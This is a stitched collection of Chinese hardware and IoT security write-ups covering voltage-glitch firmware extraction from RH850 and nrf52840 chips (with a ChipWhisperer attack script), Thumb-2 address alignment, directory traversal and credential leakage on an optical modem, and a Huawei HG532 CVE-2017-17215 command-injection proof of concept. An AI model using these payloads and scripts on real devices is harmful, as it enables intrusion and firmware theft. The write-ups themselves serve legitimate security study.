||||
USB 配置脉冲的延迟和宽度。
|
||||
|
||||

|
||||
|
||||
在 PC 端有一个实现调试协议并控制 RP2040 的 Python 脚本。它不断尝试通过同步命令,并循环遍历各种各样的故障参数。大约经过一天的尝试后,我取得了第一个成功。在我对故障参数有一个大致的了解后,每次后续尝试只需要 5 到 30 分钟。
|
||||
|
||||

|
||||
通过同步命令后,确实可以发出读取内存命令!花了一些时间找出正确的起始和结束地址(该命令仅适用于整个 8kb/32kb 块),我成功地转储了整个固件。
|
||||
|
||||
# 更新 2022-11-09:
|
||||
我还尝试过只对单个 `VCL` 引脚进行故障。只对引脚 11 上的单个 `VCL` 进行故障似乎也有效。然而,当只对引脚 66 上的 `VCL` 进行故障时,我可以通过同步命令,但然后内存读取仍然失败,出现流错误。这种效果可能是由于主核心和检查核心的设置,尽管我不太确定为什么对检查核心进行故障会导致任何结果。
|
||||
|
||||

|
||||
|
||||
# 结论
|
||||
通过这种攻击,可以绕过 RH850/P1M-E 上的程序员禁用设置。它不需要复杂的硬件,并且可以在不拆下微控制器的情况下完成。我注意到,为了获得任何结果所需的故障长度通常会锁定整个微控制器,需要进行完全重置。在这种情况下,没有进一步设置 ID 代码或密码来保护接口。尽管这听起来可能有些多余,但由于需要两个连续的故障,这将大大增加攻击的复杂性。在这次攻击中,我绕过了同步命令,发出了一个读取命令,这个命令是在一个编程接口被禁用的设备上执行的。也许还可以通过干扰读取命令本身来读取受保护的区域。然而,要倒出整个固件,需要对每 32kb 的闪存成功进行一次干扰。这可能是提取引导 ROM 的一个好方法。
|
||||
|
||||
1. 接口实际上并没有被禁用。您仍然可以协商波特率和时钟速度。相反,当尝试进入命令等待阶段时,设备会告诉您接口实际上无法使用。
|
||||
2. ```0x100 - sum ( packet [ 1 :]) & 0xFF```
|
||||
@@ -0,0 +1,150 @@
|
||||
# 侧信道电压故障注入提取nrf52840固件
|
||||
> Question
|
||||
> 来源:https://www.iotsec-zone.com/article/49
|
||||
|
||||
# 前言
|
||||
|
||||
|
||||
电压故障攻击的基本原理是,将短暂的瞬态电压(典型值的尖峰范围从1V到几十伏特,持续时间仅几纳秒)[耦合](http://www.elecfans.com/tags/耦合/)到设备的电源中,足以破坏电源。固件执行的正常周期,而不会永久损坏电路。这种破坏性的电源事件可能导致设备以异常方式运行-例如,跳过几行启动代码。如果可以对电压故障攻击进行定时,以迫使代码在执行用户身份验证的确切时间跳过(例如,要求输入[PIN](http://www.elecfans.com/tags/pi/)码),则它可以提供一种廉价而简单的方法来绕过设备的安全功能。
|
||||
|
||||
在IOT中为啥要使用电压故障注入,主要是电子行业发展导致芯片的集成度越来越高,同时为了满足低功耗,低成本。常用的wifi、BLE、Lora方案的IOT设备都是单主控解决方案,FLASH都集成到片内。近年各大行业对于网络安全的关注,芯片安全也日趋成熟,安全启动已经成为芯片标配。
|
||||
|
||||
|
||||
# 注入难点
|
||||
|
||||
## 1.注入时机
|
||||
|
||||
注入时机简单的说就是在程序运行的那一刻,对设备进行攻击。如何判断这个时间以及如果稳定的触发都是难点。
|
||||
|
||||
本次攻击目标芯片为nrf52840的调试保护机制APPROTECT。
|
||||
|
||||
官方说明如下:
|
||||
|
||||
用户信息配置寄存器(UICR)
|
||||
|
||||
用户信息配置寄存器(UICR)是用于配置用户特定设置的非易失性存储器(NVM)寄存器。它们被映射为0x10001000。
|
||||
|
||||
APPROTECT属于UICR。必须在地址0x10001208上写入0xFFFFFF00以启用访问端口保护,如下所示:
|
||||
|
||||

|
||||
|
||||
|
||||
根据Nordic的说法,必须先擦除所有RAM和内存闪存,才能禁用APPROTECT安全性。
|
||||
|
||||
|
||||
这里我们知道这个机制是在启动的时候就从芯片的非易失存储器中读取,在有开发板的情况下,我们只要写一个简单的gpio操作代码就能判断芯片启动时间。
|
||||
|
||||
代码如下
|
||||
|
||||

|
||||
|
||||
将代码烧录进入测试板,使用示波器测试启动时间
|
||||
|
||||

|
||||
|
||||
B通道是供电,C通道是gpio口,这里可以看出nrf52840整个启动时间在1.699ms,这个时间就是整个攻击的窗口。
|
||||
|
||||
## 2.注入持续时间
|
||||
|
||||
电压故障注入也叫电压毛刺注入,主要原理是在攻击的时候将攻击目标的核心电压拉低到一定的值,导致程序执行异常。
|
||||
|
||||

|
||||
|
||||
注入持续时间可以根据两个参数进行确定:
|
||||
|
||||
- 1.目标板的时钟频率,因为只要使得一行代码或多行代码执行出错,这样可以确定一个攻击范围。
|
||||
- 2.尝试攻击慢慢放大持续的时间,在设备重启的时候即为最大值,但是有个要注意的地方,因为攻击是对地短路,长时间短路有可能会烧毁芯片。
|
||||
|
||||
## 3.攻击成功判断
|
||||
|
||||
openocd 连接开启了APPROTECT保护的nrf52目标板会出现如下的提示。
|
||||
|
||||

|
||||
|
||||
根据芯片手册可以知道,dec1为arm核心的电压点。一般建议去掉这个C5电容或者将电容的容量改小。我这里没动,原因是我通过示波器观察我的设备是能轻松的将电压拉低,攻击没啥问题。
|
||||
|
||||
# 攻击硬件设备
|
||||
|
||||
1.JTAG&SWD仿真器(nrf52使用的是SWD调试)
|
||||
2.Chipwhisperer侧信道攻击设备
|
||||
3.nrf52840开发板
|
||||
|
||||
## 电压注入点选择
|
||||

|
||||
|
||||
## 连接方式
|
||||
```
|
||||
nrf52840 vin ------ chipwhisper 3.3v
|
||||
|
||||
nrf52840 rest ---------chipwhisper tio3
|
||||
|
||||
nrf52840 vcore --------chipwhisper glitch
|
||||
|
||||
nrf52840 swd ---------- arm仿真器
|
||||
|
||||
```
|
||||
|
||||

|
||||
|
||||
# 攻击代码
|
||||
|
||||
```
|
||||
import chipwhisperer as cw
|
||||
import serial
|
||||
import os,time
|
||||
|
||||
scope = cw.scope()
|
||||
|
||||
scope.clock.clkgen_freq=100E6
|
||||
scope.glitch.clk_src="clkgen"
|
||||
scope.glitch.resetDcms()
|
||||
scope.glitch.output="enable_only"
|
||||
|
||||
scope.io.tio3='high_z'
|
||||
scope.trigger.triggers='tio3'
|
||||
scope.glitch.trigger_src = "ext_continuous"
|
||||
|
||||
scope.glitch.ext_offset = 160000
|
||||
scope.glitch.repeat = 100
|
||||
scope.io.glitch_lp = False
|
||||
scope.io.glitch_hp = False
|
||||
scope.io.glitch_hp = True
|
||||
|
||||
doglich=True
|
||||
|
||||
while doglich:
|
||||
scope.glitch.ext_offset = scope.glitch.ext_offset+100
|
||||
for i in range(1,100,10):
|
||||
scope.glitch.repeat = i
|
||||
scope.io.glitch_lp = False
|
||||
scope.io.glitch_hp = False
|
||||
scope.io.glitch_hp = True
|
||||
scope.io.target_pwr=True
|
||||
time.sleep(0.5)
|
||||
exit_status = os.system('openocd -c "interface jlink" -c "transport select swd" -c "adapter speed 4000" -f /usr/local/share/openocd/scripts/target/nrf52.cfg -c "init;dump_image nrf52_flash.bin 0x0 0x80000;exit"') // 256
|
||||
#exit_status
|
||||
if exit_status == 0:
|
||||
print("SUCCESS")
|
||||
doglich=False
|
||||
break
|
||||
scope.io.target_pwr=False
|
||||
time.sleep(0.3)
|
||||
if scope.glitch.ext_offset > 190000:
|
||||
print("NOT SUCCESS")
|
||||
doglich=False
|
||||
break
|
||||
|
||||
|
||||
```
|
||||
|
||||

|
||||
|
||||
## 攻击成功后openocd连接不在出现保护的提示
|
||||
|
||||

|
||||
|
||||
并且通过gdb能连接进去进行调试
|
||||
|
||||

|
||||
|
||||
这里可以看到地址0x10001208的值还是在保护状态,但是一样可以进行调试,通过命令dump出固件后,可以把整个芯片擦除解除保护状态,把固件重新烧录到设备中就可以一直稳定调试,提取的固件也可以放到ida pro进行分析。
|
||||
@@ -0,0 +1,44 @@
|
||||
# 关于thumb2指令下函数运行地址对齐问题及验证固件分析
|
||||
> 不爱榴莲
|
||||
> 来源:https://www.iotsec-zone.com/article/285
|
||||
|
||||
近期,在分析Thumb2指令的一个固件文件时,发现Thumb2指令集下执行函数的运行地址不对齐?
|
||||
于是,为了分析一下原因,找了手头上现有的一款基于Cortex3内核的一块板子来实际执行看一下,结合编译后的Hex文件,通过IDA来进一步验证一下Thumb2运行地址不对其的现象。
|
||||
|
||||
操作示例:
|
||||
### 1、 固件代码
|
||||
找了一个FreeRTOS的示例工程,加入几行打印函数地址的日志:
|
||||

|
||||
### 2、 通过hex2bin将编译后的Hex文件转成二进制bin文件
|
||||
执行情况:
|
||||

|
||||
### 3、 通过ue打开bin文件备用,如下
|
||||

|
||||
### 4、 通过Keil-IDE加载测试代码,如下:
|
||||
通过IDE debug调试后,板子reset之后在内部时序逻辑的控制下,将0x00000000地址的内容读取到SP;将0x00000004地址的内容读取到PC。此时SP中存放的是栈顶地址,PC中存放的是Reset_Handler复位处理函数地址。
|
||||

|
||||

|
||||
### 5、 通过IDA Pro加载上述第二步生成的bin文件,配置过程如下:
|
||||

|
||||

|
||||
通过在示例工程中的配置,来定义加载到IDA中的内存及存储映射地址,如下:
|
||||

|
||||

|
||||
### 6、 ida加载后如下:
|
||||

|
||||
### 7、 顺利找到程序入口地址:
|
||||

|
||||

|
||||
进而找到main函数的执行地址,发现通过ldr加载到寄存器时的地址为main函数真正地址+1;通过debug,也可以验证,如下:
|
||||

|
||||

|
||||
通过资料了解到ARM指令是4字节对齐的,Thumb-2指令是2字节对齐的,所以这里main函数和函数Delay_nS的地址应该是2字节对齐的,但是打印出来的值却是:08000BB1和080002D9。main函数的地址和test函数的地址都成了奇数地址了。
|
||||
|
||||
这个问题在于有些ARM处理器即能使用ARM指令,又能兼容Thumb指令,同一个应用程序中可能同时存在ARM指令和Thumb指令,这两者的处理方式肯定是大不相同的,所以为了切换ARM状态和Thumb状态,在跳转到Thumb指令编写的代码块的时候,将程序地址的最低位置1(因为不管是ARM指令还是Thumb指令,都至少是2字节对齐的,所以最低位一定是0,所以最低位可以拿来用于区分ARM状态和Thumb状态),这样处理器识别到最低位为1的话就会切换到Thumb状态,否则则是ARM状态。Thumb2指令集也是为了兼容以前的ARM状态和Thumb状态所以这样做的。
|
||||
|
||||
所以编译器编译STM32F1的程序的时候,会把函数的真实地址 加上1 作为常量放在ROM空间(如果这个函数的地址有被用到的话),获取函数的指针的时候就会获取到最低位被置1的一个地址。如下图,获取Delay_nS的地址的时候,到0x08000BC4地址处读取到了0x080002D9的值,这其实就是Delay_nS的真实地址0x080002D8 + 1得到的。
|
||||

|
||||
程序debug,打印出的日志如下:
|
||||

|
||||
最后,在ue中固件文件中也找到了相应的Delay_nS函数的入口地址,实际在flash中的地址也是+1的,如下图:
|
||||

|
||||
@@ -0,0 +1,248 @@
|
||||
# 利用目录穿越漏洞对某光猫进行固件提取
|
||||
> longlong
|
||||
> 来源:https://www.iotsec-zone.com/article/460
|
||||
|
||||
# 某光猫的漏洞
|
||||
|
||||
1、目录穿越:
|
||||
在这个设备的web界面可以通过usb设备的链接调用自定义函数或者更改请求包可以实现目录穿越。
|
||||
|
||||
2、目录穿越
|
||||
可以通过usb设备实现目录穿越下载文件
|
||||
|
||||
3、信息泄露
|
||||
可以通过下载相关文件可以对拿到明文密码。
|
||||
|
||||
# 1、前期准备
|
||||
串口调试器
|
||||
杜邦线
|
||||
一个U盘(确保有足够的内存)
|
||||
一根网线
|
||||
一台电脑
|
||||
一个该品牌的实体设备
|
||||
|
||||

|
||||
|
||||
# 2、提取固件
|
||||
## 2.1、第一种方法:web界面提取这个文件系统
|
||||
|
||||
首先我们把设备通电,通过网线与我们的电脑连接,把U盘插到该设备的usb接口,然后通过账号密码进入该页面。
|
||||
|
||||

|
||||
|
||||
然后我们F12打开控制台,切换目录进二级目录[storage iframe(settings)]
|
||||
|
||||

|
||||
|
||||
我们通过对该页面的代码分析,发现这个函数get_path_files是用来实现目录跳转的。
|
||||
然后我们通过函数get_path_files("/mnt/usb1_1/../../../../../")进入到固件的根目录
|
||||
ps:因为linux系统目录在跳转目录时,如果目标文件目录不存在,会直接跳转到根目录。
|
||||
关于这个函数的分析见本文章的2.1.2:关于一些细节的解释。
|
||||
|
||||

|
||||
|
||||
然后我们选择这些文件夹,复制到我们的U盘里面的【新建文件1夹】目录下
|
||||
|
||||

|
||||
|
||||
我们把u盘拔下来,放到电脑上看一下是提取成功。
|
||||
|
||||

|
||||
|
||||
所以,我们就可以通过这个步骤,把这个设备的文件系统全部提取出来,然后再做分析。
|
||||
|
||||
### 2.1.1、抓包改包
|
||||
|
||||
除了上述的通过分析页面的源码调用自定函数来实现目录穿越的方法以外,我们还可以通过抓包的方式来分析他是怎么实现目录的跳转的。
|
||||
|
||||
我们点击这个u盘的文件夹,进行抓包。
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
我们发现这个path的值就是我们的索要进入的目录,并且这个值进行了URL编码,我们上面知道了linux的目录的目录穿越的原理,所以我们在这里对path的值进行更改
|
||||
|
||||

|
||||
|
||||
我么在原本path的值后面加了几个'..%2F'这个是'../'的URL编码,我们发现改值以后的返回包是关于根目录的文件目录信息,接下来我我们放包来让web界面显示出来,看我们的想法是否正确。
|
||||
|
||||

|
||||
|
||||
我们发现确实跳转到了文件的根目录,这样我们在不去审计网页的源代码也能实现目录的穿越去拿到我们想要拿到的信息了。
|
||||
|
||||
### 2.1.2、关于一些细节的解释
|
||||
|
||||
#### 关于二级目录[storage iframe(settings)]
|
||||
|
||||
在控制台来看;这个top是真个web页面的目录,切换目录[storage iframe(settings)]下再调用这个目录下的函数get_path_files
|
||||
|
||||

|
||||
|
||||
#### 关于函数get_path_files
|
||||
源码:
|
||||
```
|
||||
function get_path_files(getpath) {
|
||||
// 清除当前活动的定时器
|
||||
clearTimeout(activeTimeout);
|
||||
// 设置一个新的定时器,5分钟后调用 Timeout() 函数
|
||||
activeTimeout = setTimeout("Timeout()", 300000);
|
||||
|
||||
// 创建一个新的 XMLHttpRequest 对象,发送 POST 请求
|
||||
(new XHR()).post('/cgi-bin/luci/admin/storage/openFolder',
|
||||
{
|
||||
token: '9e5aa94517c7475794822ea152f5a724', // 认证令牌
|
||||
path: getpath // 要访问的路径
|
||||
},
|
||||
function(x) {
|
||||
// 检查响应文本是否为文档类型,如果是则重定向到登录页面
|
||||
if (x.responseText.substr(2, 7) == "DOCTYPE")
|
||||
parent.location = "/cgi-bin/luci";
|
||||
else {
|
||||
// 清空当前文件列表
|
||||
removeAllFiles();
|
||||
// 解析响应文本为 JSON 对象
|
||||
var json = eval("(" + x.responseText + ")");
|
||||
|
||||
// 获取当前路径和文件数据
|
||||
path = json.filePath;
|
||||
jdata = json;
|
||||
|
||||
// 遍历文件数量,添加文件到列表
|
||||
for (var i = 0; i < json.fileNum; i++) {
|
||||
eval("fileList = json.file" + (i + 1)); // 动态获取文件信息
|
||||
addFileList(fileList.name, fileList.size, fileList.isFolder, fileList.time); // 添加文件到列表
|
||||
}
|
||||
|
||||
// 对文件列表进行排序
|
||||
sortFiles();
|
||||
|
||||
// 根据当前路径显示或隐藏返回按钮
|
||||
if (path != rootpath)
|
||||
$("#backShowOr").show(); // 显示返回按钮
|
||||
else
|
||||
$("#backShowOr").hide(); // 隐藏返回按钮
|
||||
|
||||
// 处理当前路径的显示格式
|
||||
if (path.length > 36) {
|
||||
var path_item = path.split('/'); // 分割路径
|
||||
if (path_item[path_item.length - 1].length > 24) {
|
||||
// 如果文件名过长,显示简化路径
|
||||
var str_after = path_item[path_item.length - 1].substring(path_item[path_item.length - 1].length - 15, path_item[path_item.length - 1].length);
|
||||
var pathway = "/" + path_item[1] + "/..." + str_after;
|
||||
} else {
|
||||
// 显示完整路径
|
||||
var pathway = "/" + path_item[1] + "/.../" + path_item[path_item.length - 1];
|
||||
}
|
||||
$("#curpath").html(pathway); // 更新当前路径显示
|
||||
} else {
|
||||
$("#curpath").html(path); // 更新当前路径显示
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
```
|
||||
这个函数的主要任务是:
|
||||
|
||||
* 从指定路径获取文件列表。
|
||||
* 更新网页上的文件显示和当前路径。
|
||||
* 处理用户界面的交互,确保在不同情况下正确显示信息。
|
||||
|
||||
这个 get_path_files 函数的功能是从服务器获取指定路径下的文件列表,并在网页上更新相应的内容。
|
||||
|
||||
所以我们可以跳转的一个不存在的目录来使得它直接跳转到根目录。
|
||||
|
||||
在不同的编译环境中的实现这一功能的方法也不一样:
|
||||
|
||||
* Python 中的 get_path_files 使用了 os.listdir() 或 glob.glob() 来实现。
|
||||
* JavaScript 中的 getPathFiles 使用了 fs.readdirSync() 和 fs.statSync()。
|
||||
* Bash 中的 get_path_files 使用了 ls 或 find 命令来实现。
|
||||
|
||||
## 2.2、第二种方法:urt串口提取
|
||||
|
||||
首先我们确定这个设备对应的UART串口的具体对应接口
|
||||
|
||||

|
||||
|
||||
在《物联网安全漏洞挖掘实战》这本书中第20页提到相关串口知识。
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
按照上面的我们对应我们FT232上的接线方式进行对应连接。
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
我们通过SecureCRT软件进行链接并设置波特率为115200
|
||||
|
||||

|
||||
我们可以通过上面的web界面漏洞进行目录穿越和文件的越权下载romfile.cfg配置文件,我们可以拿到很多账号密码,通过尝试我们发现账号密码为:admin:1234
|
||||
|
||||

|
||||
|
||||
连接成功后我们看到这个设备的根目录系统。接下来我们就可以通过cp命令把我们想要的文件拷贝到mnt/usb1_1,也就是我们的u盘里面,这里以/etc/passwd为例
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
### 打开telnet的方法
|
||||
|
||||
除了上面的uart串口提取,也可以通过telnet进shell 然后拷贝文件目录。
|
||||
|
||||
通过我们上面提取到的固件分析,我们发现一个文件getGateWay.cgi ,通过对源码的分析,我们发现这个网页可以打开telnet服务。那么我们直接访问
|
||||
192.168.1.1:8080/cgi-bin/getGateWay.cgi
|
||||
|
||||

|
||||
|
||||
因为这个光猫有两个web端口,8080端口是维护的web界面,80端口是用户访问的界面。
|
||||
我们可以通过上面的web界面漏洞进行目录穿越和文件的越权下载romfile.cfg配置文件,从而拿到超级用户密码。
|
||||
|
||||

|
||||
|
||||
我们需要在8080端口进行登录访问
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
这个脚本用于在 Web 界面上显示系统网关、Telnet 用户名、密码和 Telnet 状态。它首先获取相关信息,检查 Telnet 状态,并确保输出的内容是安全的,第一次访问是显示'NO'表示没有打开,第二次访问显示'YES',表示打开。
|
||||
|
||||
当他检查到'NO'
|
||||
|
||||
我们通过上面的romfile.cfg配置文件可以知道telnet的账号和密码。
|
||||
|
||||

|
||||
|
||||
这里我们同样以/etc/passwd为例
|
||||
|
||||

|
||||
|
||||
# 3、漏洞实现及解释
|
||||
## 3.1、目录穿越
|
||||
正如前面2.1随描述的,插上U盘后,我们可以通过调用自定义函数或者抓包的方式来实现目录穿越。
|
||||
## 3.2、文件越权下载
|
||||
|
||||
在我们2.1的描述里面提到,这个U盘插上以后页面是会对能访问到的目录进行限制的,要求用户只能访问/tmp/mnt/usb1_1/目录下的文件。
|
||||
|
||||

|
||||
|
||||
但是通过目录穿越的漏洞,访问到了其他目录下的文件,我们仍可以进行下载,也就是说,对于文件的下载,并没有进行权限的限制。
|
||||
|
||||

|
||||
|
||||
## 3.3、信息泄露x
|
||||
|
||||
通过上面的漏洞,我们可以通过网页的目录穿越,下载到romfile.cfg文件,这是一个配置文件,我们可以在这个文件里面查找到明文账号密码
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
@@ -0,0 +1,387 @@
|
||||
# 华为HG532 - CVE-2017-17215漏洞简析
|
||||
> 有毒
|
||||
> 来源:https://www.iotsec-zone.com/article/187
|
||||
|
||||
**TL;DR**
|
||||
|
||||
CVE-2017-17215,华为HG532路由器的一个比较经典的命令注入漏洞,现在看起来属于冷饭了。但是漏洞本身还是比较有分析的价值,这种攻击界面在其他的路由器产品上也比较常见。特此从环境搭建开始,重新整理一下漏洞的分析流程。希望可以给新同学漏洞分析带来点经验,给漏洞挖掘的老手带来一点思路。如有不足之处,请多指教。
|
||||
|
||||
# 环境搭建
|
||||
|
||||
## 网络配置
|
||||
|
||||
### 原始Ubuntu网络
|
||||
|
||||

|
||||
|
||||
### 配置虚拟机网络
|
||||
|
||||
创建虚拟网桥,实现虚拟机内部和Ubuntu的连接
|
||||
|
||||
```
|
||||
# sudo apt-get install bridge-utils
|
||||
v4ler1an qemu_images ➜ sudo brctl addbr br0
|
||||
v4ler1an qemu_images ➜ sudo ifconfig br0 192.168.7.1/24 up
|
||||
```
|
||||
|
||||
创建tap接口,名字为tap0,并添加到网桥
|
||||
|
||||
```
|
||||
v4ler1an qemu_images ➜ sudo tunctl -t tap0
|
||||
Set 'tap0' persistent and owned by uid 0
|
||||
v4ler1an qemu_images ➜ sudo ifconfig tap0 192.168.7.8/24 up
|
||||
v4ler1an qemu_images ➜ sudo brctl addif br0 tap0
|
||||
|
||||
```
|
||||
|
||||
配置完成的网络
|
||||

|
||||
|
||||
## qemu环境模拟
|
||||
|
||||
下载qemu启动虚拟机所需要的“镜像”,这个地方的镜像是和之前的固件版本要匹配,MIPS,32位,大端
|
||||
|
||||
```
|
||||
wget https://people.debian.org/~aurel32/qemu/mips/debian_squeeze_mips_standard.qcow2
|
||||
wget https://people.debian.org/~aurel32/qemu/mips/vmlinux-2.6.32-5-4kc-malta
|
||||
```
|
||||
|
||||

|
||||
|
||||
此时qemu虚拟机的网络:
|
||||

|
||||
给qemu虚拟机添加一个ip并测试连通性。
|
||||
|
||||
如果报错:
|
||||
|
||||
```shell
|
||||
v4ler1an _HG532eV100R001C01B020_upgrade_packet.bin.extracted ➜ ssh [email protected]
|
||||
Unable to negotiate with 192.168.7.7 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss
|
||||
```
|
||||
|
||||
在Ubuntu中ssh按照下面的命令进行连接:
|
||||

|
||||
|
||||
使用scp将固件copy到qemu中:
|
||||
|
||||
```shell
|
||||
v4ler1an _HG532eV100R001C01B020_upgrade_packet.bin.extracted ➜ scp -oHostKeyAlgorithms=+ssh-dss -r squashfs-root [email protected]:~/
|
||||
```
|
||||
|
||||
然后切换到该固件的根目录下执行 `chroot . sh` 即可开启一个固件的sh:
|
||||
|
||||

|
||||
|
||||
## 路由器网络配置
|
||||
|
||||
在虚拟机中挂载 dev 和 proc
|
||||
|
||||
```shell
|
||||
root@debian-mips:~# mount -o bind /dev ./squashfs-root/dev
|
||||
root@debian-mips:~# mount -t proc /proc ./squashfs-root/proc
|
||||
```
|
||||
|
||||
启动shell:
|
||||
|
||||

|
||||
|
||||
该shell主要用于后续更改IP使用。
|
||||
|
||||
Ubuntu再开终端进行ssh连接,并通过ssh连接的shell启动路由器:
|
||||
|
||||

|
||||
|
||||
这个通过ssh连接的终端实际上已经无法使用了,因为虚拟机里面的路由器IP发生了变化,ssh连接已经断开,返回之前的虚拟机中的终端。
|
||||
|
||||
此时的网络情况如下:
|
||||
|
||||

|
||||
|
||||
需要重新更改路由器的IP,以便于外部的Ubuntu登录管理界面
|
||||
|
||||
```
|
||||
ifconfig eth0 192.168.7.7/24 up
|
||||
ifconfig br0 192.168.7.8/24 up
|
||||
```
|
||||
|
||||
修改完成后如下:
|
||||
|
||||

|
||||
|
||||
此时访问路由的 eth0 的地址应该是可以直接进入到管理端登录页面的。如果使用firefox出现如下错误:
|
||||
|
||||

|
||||
|
||||
解决办法:
|
||||
|
||||

|
||||
|
||||
进入到路由器管理界面(admin/@Hua1234):
|
||||
|
||||

|
||||
|
||||
# 设备系统分析
|
||||
|
||||
## 网络情况
|
||||
|
||||

|
||||
|
||||
重点关注的端口:
|
||||
|
||||

|
||||
|
||||
`37215` 和 `37443` 都在 `/bin/mic` 文件中, `39544` 端口没有找到;`80` 和 `443` 端口很明显会在 `/bin/web` 文件中,该文件对应的是路由器的后台管理服务。
|
||||
|
||||
## 进程情况
|
||||
|
||||

|
||||
|
||||
系统启动的进程主要关注 bin 目录下的可执行文件,其中web是管理端服务,所以与该漏洞无关。
|
||||
|
||||
# 漏洞复现
|
||||
|
||||
poc如下:
|
||||
|
||||
```python
|
||||
import requests
|
||||
headers = {
|
||||
"Authorization": "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"
|
||||
}
|
||||
|
||||
data = '''<?xml version="1.0" ?>
|
||||
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
|
||||
<s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">
|
||||
<NewStatusURL>;cat /etc/profile>/tmp/test;</NewStatusURL>
|
||||
<NewDownloadURL>HUAWEIUPNP</NewDownloadURL>
|
||||
</u:Upgrade>
|
||||
</s:Body>
|
||||
</s:Envelope>
|
||||
'''
|
||||
requests.post('http://192.168.153.2:37215/ctrlt/DeviceUpgrade_1',headers=headers,data=data)
|
||||
```
|
||||
|
||||
直接python执行,会在目标的 `/tmp` 目录下创建 `test` 文件,其内容为 `/etc/profile` 文件内容:
|
||||
|
||||

|
||||
|
||||
# 漏洞分析
|
||||
|
||||
## 漏洞描述
|
||||
|
||||
Huawei HG532 路由器部分版本存在远程命令执行漏洞,漏洞利用的端口为 37215 ,成功利用可以实现远程执行任意代码。
|
||||
|
||||
### 漏洞信息搜集
|
||||
|
||||
#### 1. 官方公告
|
||||
|
||||
[https://www.huawei.com/en/psirt/security-notices/huawei-sn-20171130-01-hg532-en](https://www.huawei.com/en/psirt/security-notices/huawei-sn-20171130-01-hg532-en)
|
||||
|
||||
#### 2. Check Point
|
||||
|
||||
漏洞首发于CheckPoint,其漏洞报告中描述了漏洞利用的一些细节:
|
||||
|
||||
1. 华为家庭网关使用了UPnP(Universal Plug and Play) 协议,该协议在 TR-064 技术报告中进行了标准化,并被广泛应用于嵌入式设备中,以实现家庭和企业环境中网络设施的无缝连接和简化,主要是本地网络的配置,例如允许在内部网络中实施基本的设备配置、固件升级等。在目标路由器中,通过 37215 端口将 TR-064 暴露在了 WAN 网络环境中。
|
||||
2. 华为的这款路由器中的 UPnP 支持 `DeviceUpgrade` 的服务类型,该服务通过向 `/ctrlt/DeviceUpgrade_1` 发送请求来执行固件升级操作,并使用到了名为 `NewStatusURL` 和 `NewDownloadURL` 的两个 SOAP 元素。
|
||||
3. 漏洞发生在对 `NewStatusURL` 和 `NewDownloadURL` 的处理流程,在这两个元素中存在命令注入漏洞。
|
||||
|
||||
## 静态分析
|
||||
|
||||
**一般情况下可以使用Ghidra,但是IDA 7.7真香。**
|
||||
|
||||
### Ghidra分析结果
|
||||
|
||||
因为确认是 mips 架构,所以首先使用 Ghidra 进行静态反编译。
|
||||
|
||||
1. 首先查看 upnp ,并通过搜索字符串 `NewStatusURL` 定位到问题函数 `FUN_0040749c`:
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
2. 在函数 `FUN_0040749c` 中,在第二个 `if` 内部存在一个 `system` 函数,该函数执行的参数来自 `snprintf` 。而 `snprintf` 函数的参数中存在拼接的情况,其中就包含 `NewStatusURL` 中的元素。
|
||||
|
||||
### IDA 7.7 分析结果
|
||||
|
||||
1. 首先看下文件的基本信息,这里 IDA 7.7 识别的是 MIPS big endian:
|
||||
|
||||

|
||||
|
||||
2. 根据字符串定位到具体函数:
|
||||
|
||||

|
||||
|
||||
在该函数中,首先通过 `ATP_XML_GetChildNodeByName` 函数来获取 xml 中的 `NewDownloadURL` 节点中的内容给到 `v4` ,成功后再获取 `NewStatusURL` 节点中的内容给到 `v5` 。如果两个节点都获取成功,则调用 `snprintf` 函数进行字符串拼接,最后将拼接成功的字符串传递给 `system` 函数去执行,整体上漏洞逻辑相对简单。
|
||||
|
||||
3. 进入到 `ATP_XML_GetChildNodeByName` 函数来看它是怎么处理 xml 中的节点的:
|
||||
|
||||

|
||||
|
||||
遍历节点中所有的子节点,寻找和 `NewStatusURL` 和 `NewDownloadURL` 同名的节点值,然后调用 `sub_408540` 函数进行一些逻辑处理,最终写入到 `a4` 地址处。
|
||||
|
||||
4. 漏洞利用需要查看 `sub_40749C` 函数的引用,来看数据的传入,但是在 IDA 中直接查看交叉引用没有成功解析,所以需要使用手动方式。
|
||||
|
||||
### 漏洞函数的触发流程
|
||||
|
||||
在文件系统中查找两个关键字符串的引用:
|
||||
|
||||

|
||||
|
||||
文件 `/etc/upnp/DevUpg.xml` 的内容如下:
|
||||
|
||||

|
||||
|
||||
该 `xml` 看起来是协议字段的一些定义。继续在 `upnp` 文件中查找对该 xml 的引用,发现在 `ATP_UPNP_RegDeviceAndService()` 函数中。该函数大量调用 `ATP_UPnP_RegDevice` 函数和 `ATP_UPnP_RegService`:
|
||||
|
||||

|
||||
|
||||
从函数名可以简单判断这俩函数的主要作用是注册设备和服务,那么 `ATP_UPNP_RegDeviceAndService()` 函数整体就是用于设置开启外网对内访问的服务。
|
||||
|
||||
首先注册设备和服务:
|
||||
|
||||
```c
|
||||
v0 = ATP_UPnP_RegDevice(0, dword_426854, "InternetGatewayDevice:1", 3);
|
||||
v1 = ATP_UPnP_RegService(0, "urn:www-huawei-com:service:DeviceUpgrade:1", "DevUpg.xml", 2);
|
||||
```
|
||||
|
||||
然后调用 `ATP_UPNP_RegAction(0, 2)` 函数进行注册的相关操作,其中第二个参数为标识码。函数内部如下;
|
||||
|
||||

|
||||
|
||||
其中涉及到一个全局变量 `g_astActionArray` ,发现是一个函数虚表:
|
||||
|
||||

|
||||
其中就包含漏洞函数 `sub_40749c` ,目前可以推断该函数主要就是用作设备更新使用的。
|
||||
|
||||
继续查看虚表的引用,来确认函数指针在什么位置被调用:
|
||||
|
||||

|
||||
|
||||
